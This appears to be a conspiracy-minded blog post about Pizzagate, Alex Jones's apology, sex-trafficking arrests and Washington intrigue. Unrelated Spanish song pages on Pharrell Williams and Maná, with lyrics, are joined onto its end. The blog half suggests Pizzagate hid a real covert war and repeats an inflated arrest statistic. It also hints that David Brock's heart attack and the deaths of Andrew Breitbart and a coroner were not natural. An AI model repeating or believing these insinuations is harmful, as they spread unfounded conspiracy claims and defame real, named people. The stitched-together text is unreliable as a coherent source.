Pizza shop Comet Ping Pong was thrust into the spotlight last year after a gunman allegedly fired a shot inside the restaurant. The suspect said he was investigating the unsubstantiated conspiracy theory that Hillary Clinton and her campaign chairman, John Podesta, were operating a child sex trafficking ring out of the restaurant. 
The theory, which became known as Pizzagate, had circulated among far-right conspiracy theory websites and social media accounts. 
“In our commentary about what had become known as Pizzagate, I made comments about Mr. Alefantis that in hindsight I regret, and for which I apologize to him,” Jones, who runs Infowars, said in a video. James Alefantis is the owner of Comet Ping Pong. 
Jones said his website relied on reporters who are no longer employed by Infowars and that video reports about Pizzagate were removed from the website. He also invited Alefantis onto the show to discuss the incident.
It was preceded by this story:
FBI’S RUSSIA PROBE EXPANDS TO INCLUDE ‘PIZZAGATE’ THREATS 
According to McClatchy News, the FBI’s Russian-influence probe agents are exploring whether far-right news operations, including the pro-Donald Trump sites Breitbart News and Infowars, “took any actions to assist Russia’s operatives.”  Trump’s ousted national security adviser Michael Flynn and his son, a member of the Trump transition team, were among those who boosted the so-called “PizzaGate” pedophile conspiracy theory.
I doubt this will quell the fervor among the Pizzagaters on sites like 4chan and Voat. Given the suspicion many on the fringes regard Jones with it may in fact give the flagging movement a fresh jolt. Jones' apology may also have to do with the drive to purge YouTube of "extremist" content and the controversy over the use of advertising on videos corporate clients find objectionable. A World without Sin, as our Gordon might put it. 


Washington Post headline, pre-election.

So much for theories that the FBI was ready to make mass arrests of prominent Washington figures related to Pizzagate.  Has any "mass arrest" Internet story ever panned out?  

Maybe it has:
Donald Trump became president on Jan. 20. And in one short month, there were more than 1,500 arrests for sex crimes ranging from trafficking to pedophilia.  
Big deal? You bet. In all of 2014, there were fewer than 400 sex trafficking-related arrests, according to FBI crime statistics. Liz Crokin at TownHall.com has put together a great piece on the push by the Trump administration to crack down on sex crimes. And she notes that while "this should be one of the biggest stories in the national news... the mainstream media has barely, if at all, covered any of these mass pedophile arrests. This begs the question – why?
This may have nothing to do with Trump-- in fact, it's likely it doesn't-- since these kinds of actions are planned out months in advance. The arrests continue, in case you were wondering, with major busts going down on a near-weekly basis. Someone's cleaning house. 

For what it's worth, I always reckoned that Pizzagate was in fact cover/distraction for a more hidden struggle, one that would take place under the radar*. As I noted back in November:

No one is saying as much but this very much feels connected to a deeper, more covert war. 
Why would I say such a thing? Because at the same time the Pizzagate story went dark we've seen major strikes taken against international pedophilia, which actually is a global conspiracy, with its own networks, secret codes and moles within established centers of power such as schools, police departments and governments.  
With such combustible accusations-- and such potential for a scandal that could quickly spread out of control (ie., involve political figures you're not trying to destroy)-- you'd naturally expect the action to go dark and the fall guys to be placed pretty far down the foodchain. (Remember that a prior investigation bagged one of the most powerful people in Washington at one time, former Speaker of the House Dennis Hastert).†


"EVER WONDER WHAT IT'D BE LIKE TO DIE IN A PLANE CRASH?" 



It may be sheer coincidence, but James Alefantis' former partner suffered a major heart attack this week
Media Matters for America founder David Brock was rushed to a hospital on Tuesday after suffering a heart attack. 
According to a press release from MMA, the founder of the liberal media watchdog and analysis website was rushed to the hospital early Tuesday afternoon and received treatment.
Sure, it may be coincidence. But I couldn't help but remember this story, published soon after the election
Dems to David Brock: Stop Helping, You Are Killing Us 
Democrats know they need someone to lead them out of the wilderness. But, they say, that someone is not David Brock.

As David Brock attempts to position himself as a leader in rebuilding ademoralized Democratic Party in the age of Trump, many leading Democratic organizers and operatives are wishing the man would simply disappear.
 
"Disappear." Huh. 
Many in the party—Clinton loyalists, Obama veterans, and Bernie supporters alike—talk about the man not as a sought-after ally in the fight against Trumpism, but as a nuisance and a hanger-on, overseeing a colossal waste of cash. And former employees say that he has hurt the cause.
It's worth remembering that Breitbart.com Andrew Breitbart died of a heart attack at the age of 43. A year before he'd posted a cryptic tweet that some have since linked to the Pizzagate imbroglio.  Just before his death he hyped some revelation about Barack Obama's past. 

A coroner in the office handling Breitbart's body subsequently died of arsenic poisoning. The day Breitbart's autopsy results were revealed, in fact.

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We also saw James Comey revive Russiagate, which had been flatlining after Vault 7. Any illusions among Trump fans that the FBI was secretly on their side were ground into powder, between this revelation and the Pizzagate conspiracy investigations. 

One can't help but wonder if the New Praetorians (I've noticed that the Praetorian meme has been picked up by more prominent commentators, but you heard it here first) are losing their last shred of patience with Donald Trump's shenanigans and are planning imminent regime change: 
WASHINGTON (AP) — The FBI is investigating whether Donald Trump’s associates coordinated with Russian officials in an effort to sway the 2016 presidential election, Director James Comey said Monday in an extraordinary public confirmation of a probe the president has refused to acknowledge, dismissed as fake news and blamed on Democrats. 
In a bruising five-hour session, the FBI director also knocked down Trump’s claim that his predecessor had wiretapped his New York skyscraper, an assertion that has distracted White House officials and frustrated fellow Republicans who acknowledge they’ve seen no evidence to support it.
How surreal is the world in which you know live in? So much so that mainstream political site The Hill is comparing the action in Washington to a Stanley Kubrick film, one which has become notorious for the conspiracy theories that have been projected onto it (and is well familiar to Synchronauts):
On the 40th anniversary of the publication of The Shining, Stephen King must be wondering if Washington is working on its own sequel. For the last couple months, Washington has been on edge, like we are all trapped in Overlook Hotel with every day bringing a new “jump scare,” often preceded by a telltale tweet. Indeed, a Twitter whistle has replaced suspenseful music to put the entire city on the edge of their seats. 
In this Shining sequel, however, people are sharply divided on who is the deranged ax-wielding villain in this lodge, the president or the press. Ironically, with the recent disclosure that some of the Trump campaign may indeed have been subject to surveillance, the president is looking more like Danny Torrence, a character dismissed for constantly muttering “redrum, redrum” until someone finally looked in a mirror at the reverse image to see the true message.
Yeah, I'm not really feeling that metaphor there, but whatever. It's been that kind of year.

Now the Internet is burning up with theories that disgraced National Security Adviser Michael Flynn has "turned" and is going to testify against the Trump Administration, or at least figures attached to it. 


It's hard to imagine a three-star general can be stupid enough to be guilty of things Flynn's been accused of but that may speak to a culture of impunity in Washington, in which your misdeeds are only punished if you get on the wrong side of the wrong people.

LIKE A BAD CYBERPUNK NOVEL


One wonders if the secret war has spread outside Washington. Car service giant Uber seems to be having a major run of rotten luck lately: 
Uber Technologies Inc. is suspending its self-driving car program after one of its autonomous vehicles was involved in a high-impact crash in Tempe, Arizona, the latest incident for a company reeling from multiple crises. 
In a photo posted on Twitter, one of Uber’s Volvo self-driving SUVs is pictured on its side next to another car with dents and smashed windows. An Uber spokeswoman confirmed the incident, and the veracity of the photo, and added that the ride-hailing company is suspending its autonomous tests in Arizona until it completes its investigation and pausing its Pittsburgh operations.

The incident also comes as Uber, and Chief Executive Officer Travis Kalanick, are currently under scrutiny because of a series of scandals. The ride-hailing company has been accused of operating a sexist workplace. This month, the New York Times reported that Uber used a tool called Greyball to help drivers evade government regulators and enforcement officials. Kalanick said he needed "leadership help" after Bloomberg published a video showing him arguing with an Uber driver.
So who did Kalanick piss off? 

Coincidentally- there's that word again- the crash comes soon after Wikileaks revealed that CIA hackers had the ability to override the computer systems in automobiles. From Mashable:

WikiLeaks has published a trove of files it says are linked to the CIA's hacking operations — which apparently includes efforts to hack into cars.  
The first in a series called "Vault 7," "Year Zero" supposedly comprises 8,761 documents and files from an isolated, high-security network situated inside the CIA's Center for Cyber Intelligence in Langley, Virginia.  
"Year Zero" details the CIA's malware arsenal and "zero day" exploits against Apple iPhones, Google's Android operating system, Microsoft Windows and even Samsung TVs.  
 According to a document from 2014, the CIA was also looking at infecting the vehicle control systems used by modern cars and trucks. 
Oh, that's reassuring. Speaking of control systems, apparently pimps are controlling prostitutes with RFID chips:
It turns out this 20-something woman was being pimped out by her boyfriend, forced to sell herself for sex and hand him the money. 
 “It was a small glass capsule with a little almost like a circuit board inside of it,” he said. “It's an RFID chip. It's used to tag cats and dogs. And someone had tagged her like an animal, like she was somebody's pet that they owned.” 
This is human trafficking. It’s a marginal issue here in the U.S. for most of us. Part of that is because the average person isn’t sure what human trafficking – or modern day slavery – actually means.
Technology is our friend, right? And now this: 
Turkish Hackers Threaten To Wipe Millions Of iPhones; Demand Ransom From Apple 
Today, courtesy of CIO, we learn that a group of hackers referring to themselves as the "Turkish Crime Family", has been in direct contact with Apple and is demanding a $150,000 ransom by April 7th or they will proceed to wipe as many as 600 million apple devices for which they allegedly have passwords. 
The group said via email that it has had a database of about 519 million iCloud credentials for some time, but did not attempt to sell it until now. The interest for such accounts on the black market has been low due to security measures Apple has put in place in recent years, it said.

Since announcing its plan to wipe devices associated with iCloud accounts, the group claimed that other hackers have stepped forward and shared additional account credentials with them, putting the current number it holds at over 627 million.

According to the hackers, over 220 million of these credentials have been verified to work and provide access to iCloud accounts that don't have security measures like two-factor authentication turned on.
 
Of course, if credible, with an ask of just $150k, this is the most modest group of hackers we've ever come across.
Given the war that's erupted between the increasingly aggressive Turkish government and the EU, money may clearly not be the object here. Turkish PM Erdogan is clearly set on reconstructing the old Ottoman Empire and shivving Apple might just be part of the march.

Besides, Turkey is taking that recent coup attempt-- which is almost universally blamed on the CIA-- very personally.


Speaking of the EU, we've seen stories that Trump advisor Steve Bannon wants to dissolve the union. Which may be why Trump-adversary John McCain announced his unalloyed support for it- and the "New World Order" (his words, not mine):
The world "cries out for American and European leadership" through the EU and Nato, US senator John McCain said on Friday (24 March). 
In a "new world order under enormous strain" and in "the titanic struggle with forces of radicalism … we can't stand by and lament, we've got to be involved," said McCain, a former Republican presidential candidate who is now chairman of the armed services committee in the US Senate. 
Speaking at the Brussels Forum, a conference organised by the German Marshall Fund, a transatlantic think tank, he said that the EU and the US needed to develop "more cooperation, more connectivity". 
"I trust the EU," he said, defending an opposite view from that of US president Donald Trump, who said in January that the UK "was so smart in getting out" of the EU and that Nato was "obsolete". 
He said that the EU was "one of the most important alliances" for the US and that the EU and Nato were "the best two sums in history", which have maintained peace for the last 70 years. "We need to rely on Nato and have a Nato that adjusts to new challenges," he said.
Would McCain speak this way to a domestic audience? Of course not. Or maybe he would- I can't tell which way is up anymore. But either way it's good to know where he really stands.

Like McCain, China continues to sound a similar note of support for globalization, on which its very economic survival so desperately depends:
Chinese Vice Premier Zhang Gaoli told a gathering of Asian leaders that the world must commit to multilateral free trade under the World Trade Organization and needs to reform global economic governance. 
“The river of globalization and free trade will always move forward with unstoppable momentum to the vast ocean of the global economy,” Zhang said. China will remain a strong force in the world economy and for peace and stability, he said, adding that countries must respect one another’s core interests and refrain from undermining regional stability. 
I suppose this is why China is off the target list for our new Cold (?) Warriors.

I've resisted posting on all this because it's all so depressing. I've actually written a few pieces on this chicanery that I ended up roundfiling. But I suppose I just wanted to go on the record about all this skullduggery, for posterity's sake.



UPDATE: Sex trafficking arrests and trials continue to proliferate. Most recent bust, an international ring in Minnesota. There is way too much activity going down in too short a time for this to be spontaneous.


* Which is exactly why I refrained from commenting on it here for the most part, instead noting that it had become a kind of memetic virus in much the same way that the Franklin/Boy's Town scandal had in the 90s. (Note that prior to the election-- and Pizzagate-- Trump nemesis the Washington Post was all over the issue of sex trafficking in the nation's capital). 

† The ongoing legal and police actions coinciding with the moves to shut down the Pizzagate fringes on the Web seem like the exact kind of action one would expect if there were a serious operation at work. Shutting down the Internet chatter makes perfect sense in this context because it can only complicate cases made by prosecutors. 
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          Freedom - Pharrell Williams   

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Experiencia: Mente, usa tu poder. Espíritu, usa tus alas. ¡Libertad! Pharrell Williams se transforma por momentos en un gurú moral y canta un himno al ideal de nuestra época... un himno que, sin quererlo, encarna los peligros de una libertad desbocada y sin responsabilidad.



Vídeo Musical: En espera.

Significado de Freedom (Libertad): Pharrell Williams nos ofrece un nuevo paradigma de la Creación. Todo está hecho para ser libre, desde el sol hasta el mismo ser humano. Libertad es el fuego -la flor roja que pertenece al hombre- que lo quema todo. Pero si la libertad está en el corazón de todo, ¿que es lo que la hace tan especial? Y ¿se puede hablar de libertad sin hablar de responsabilidad? La Libertad es un logro increíble, pero sin los parámetros del bien y el mal, sin algo más que un vago "ser eléctrico" (¿Dios?), que al parecer simplemente nos deja sueltos, se convierte en algo terriblemente vacío.

Pregúntate: ¿Cuáles son las fronteras de la libertad para los hombres? ¿El don de la Libertad significa que podamos hacer lo que queramos? ¿Sin importar lo que sea? ¿Cómo dibujarías tú la libertad?

LETRA (en español):

No me dejes ir
¿Qué importa que nos vean?
¿Qué importa lo que sepan?
Tu primer nombre es Liber
Tu apellido es Tad
Elegimos creer
De donde venimos
La flor roja del hombre
Está en todo lo que nos rodea
Mente, usa tu poder
Espíritu, usa tus alas

¡Libertad!
¡Libertad!
¡Libertad!
¡Libertad!
¡Libertad!
¡Libertad!

Agárrame fuerte
No me dejes ir
No necesitas comer
Tu primer nombre es Reina
Tu apellido es Do
Elegimos creer
En cada uno de nosotros
Como el respiro de un recién nacido
Como cuando la noche ve el amanecer
Cuando la ballena se esconde en el océano
Cuando los hombres nos reconozcan

¡Libertad!
¡Libertad!
¡Libertad!
¡Libertad!
¡Libertad!

Respira
Venimos del fuego
Misterio de la electricidad
Te sorprende saber
que nos han dejado el Sol
Átomos del aire
Organismos del océano
El Sol y el hombre
Están hechos del mismo material

¡Libertad!
¡Libertad!
¡Libertad!
¡Libertad!
¡Libertad!
¡Libertad!
¡Libertad!



LYRICS:

Hold on to me
Don't let me go
Who cares what they see?
Who cares what they know?
Your first name is Free
Last name is Dom
We choose to believe
In where we're from

Man's red flower
It's in every living thing
Mind, use your power
Spirit, use your wings
Freedom!
Freedom!
Freedom!
Freedom
Freedom
Freedom

Hold on to me
Don't let me go
Cheetahs need to eat
Run, antelope
Your first name is King
Last name is Dom
Cause you still believe
In everyone

When a baby first breathes
When night sees sunrise
When the whale hunts the sea
When man recognizes
Freedom!
Freedom!
Freedom!
Freedom
Freedom
Breathe in

We are from heat
The electric one
Does it shock you to see
He left us the sun?
Atoms in the air
Organisms in the sea
The sun and, yes, man
Are made of the same things

Freedom!
Freedom!
Freedom!
Freedom
Freedom
Freedom
Freedom
Freedom

          La Prisión - Maná   
por Javier Rubio Hípola 

Experiencia: El abuso y la violencia son lo contrario del amor. De la misma manera que la Prisión de una relación de abuso sexual es lo contrario de un amor familiar armónico. El hombre está hecho para amar siendo libre. 

Vídeo Musical: La banda de Maná toca la canción en un desierto y entre escenas se desarrolla narrativamente el caso de una mujer que logra escapar de una situación de abuso por parte de su pareja. Intercaladas se muestran algunas tomas de personas con el rostro pintado a rallas simbolizando las rejas de la prisión silenciosa del abuso donde viven esclavizadas tantas personas en todo el mundo.

Significado de La prisión: Maná nos ofrece este sencillo poderoso y cargado de denuncia social. En el mundo del siglo XXI, también en el occidente primermundista se dan aún casos alarmantes de abuso de pareja. En este sentido todavía existe la esclavitud: la esclavitud del que vive atrapado en una relación de abuso. 

Nada más lejos de la propuesta de amor y de familia anunciados por el pensamiento cristiano en sus enseñanzas sociales. La familia debe ser el motor y fundamento de cualquier sociedad. Pero debe tratarse de una familia que promueva la educación de los hijos. Y ese ambiente sólo puede darse sobre los cimientos de un amor dispuesto a respetar y a valorar antes que a golpear y a abusar.

Pregúntate: ¿Cuáles crees que deben ser las tres características principales de una relación sana? ¿Por qué motivos crees que se dan casos de abuso en la sociedad? ¿Qué se puede hacer en la práctica para solucionar ese problema?  

LETRA:
No regreso a tu cárcel 
No regreso a tu prisión, a la opresión 
Que por miedo a perderte 
El silencio me invadió y mi vida encarcelo 

Quiero ahogarme en otros labios 
En otro sol, liberación 
Voy a liberarme, voy a rescatarme 
No regreso a tu prisión... 

No regreso corazón 
A la prisión 
No volveré 
Voy a liberarme hoy 

No no! No mi amor! 
No no, no regreso a tu cárcel 
No no, no mi amor, no mi amor 
Uoh uoh! 

Fui cayendo en la demencia 
Con la urgencia de escapar, para no volver jamás 
Ya no aguanto las paredes 
Ni las redes del el control, no soporto tu prisión 

Quiero ahogarme en otros labios 
En otro sol, liberación 
Voy a liberarme, voy a rescatarme 
No regreso a tu prisión